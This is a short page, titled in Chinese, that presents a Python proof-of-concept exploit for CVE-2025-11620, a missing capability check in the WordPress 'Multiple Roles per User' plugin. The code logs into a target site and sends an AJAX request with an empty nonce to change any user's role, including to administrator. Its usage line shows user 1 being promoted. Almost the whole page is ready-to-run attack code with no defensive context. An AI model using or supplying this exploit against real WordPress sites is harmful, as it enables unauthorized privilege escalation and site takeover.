CVE-2025-11620 WordPress Multiple Roles per User插件权限绕过漏洞

import requests import sys # CVE-2025-11620 PoC - Multiple Roles per User Plugin Privilege Escalation # Target: WordPress site with Multiple Roles per User plugin <= 1.0 def exploit_privilege_escalation(target_url, username, password, target_user_id, target_role): """ Exploit the missing capability check in Multiple Roles per User plugin to modify any user's role without proper authorization. Args: target_url: WordPress site URL username: Attacker account with edit_users capability password: Attacker password target_user_id: ID of user to modify target_role: New role to assign (e.g., 'administrator') """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Exploit the vulnerability via AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Vulnerable parameters: mrpu_save_multiple_user_roles function exploit_data = { 'action': 'mrpu_save_multiple_user_roles', 'user_id': target_user_id, 'roles': [target_role], 'nonce': '' # No nonce validation in vulnerable version } response = session.post(ajax_url, data=exploit_data) if response.status_code == 200 and 'success' in response.text: print(f"[+] Successfully modified user {target_user_id} to role: {target_role}") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": if len(sys.argv) < 6: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <target_user_id> <target_role>") print("Example: python CVE-2025-11620.py http://target.com admin attacker123 1 administrator") sys.exit(1) target_url = sys.argv[1] exploit_privilege_escalation( target_url, sys.argv[2], sys.argv[3], int(sys.argv[4]), sys.argv[5] )